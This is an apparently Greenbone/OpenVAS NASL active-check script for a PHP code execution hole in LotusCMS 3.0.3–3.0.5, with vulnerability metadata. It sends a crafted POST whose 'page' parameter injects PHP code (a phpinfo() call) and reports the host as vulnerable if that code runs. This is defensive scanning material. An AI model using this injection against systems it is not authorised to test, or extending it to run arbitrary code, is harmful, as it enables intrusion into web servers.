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LotusCMS 3.0.3 - 3.0.5 PHP Code Execution Vulnerabilities - Active Check

🗓️ 07 Mar 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
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LotusCMS PHP Code Execution Vulnerabilities. Fails to properly sanitize user input

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# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103444");
  script_version("2025-12-11T05:46:19+0000");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("LotusCMS 3.0.3 - 3.0.5 PHP Code Execution Vulnerabilities - Active Check");
  script_xref(name:"URL", value:"http://secunia.com/secunia_research/2011-21/");
  script_tag(name:"last_modification", value:"2025-12-11 05:46:19 +0000 (Thu, 11 Dec 2025)");
  script_tag(name:"creation_date", value:"2012-03-07 11:02:50 +0100 (Wed, 07 Mar 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"LotusCMS is prone to two PHP code execution vulnerabilities
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to execute arbitrary
  PHP code.");

  script_tag(name:"affected", value:"LotusCMS 3.0.3 and 3.0.5 are vulnerable, other versions may
  also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

foreach dir( make_list_unique( "/lcms", "/cms", "/lotuscms", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + "/index.php";
  buf = http_get_cache( item:url, port:port );

  if( buf =~ "Powered by.*LotusCMS" || 'content="LotusCMS"' >< buf ) {

    p = eregmatch( pattern:"index.php\?page=([a-zA-Z0-9]+)", string:buf );
    if( isnull( p[1] ) ) continue;

    host = http_host_name( port:port );
    page = p[1];
    ex = "page=" + page + "');phpinfo();#";
    len = strlen(ex);

    req = string("POST ",url," HTTP/1.1\r\n",
                 "Host: ",host,"\r\n",
                 "Content-Type: application/x-www-form-urlencoded\r\n",
                 "Content-Length: ",len,"\r\n",
                 "\r\n",
                  ex,
                 "\r\n\r\n");
    res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

    if( "<title>phpinfo()" >< res ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );

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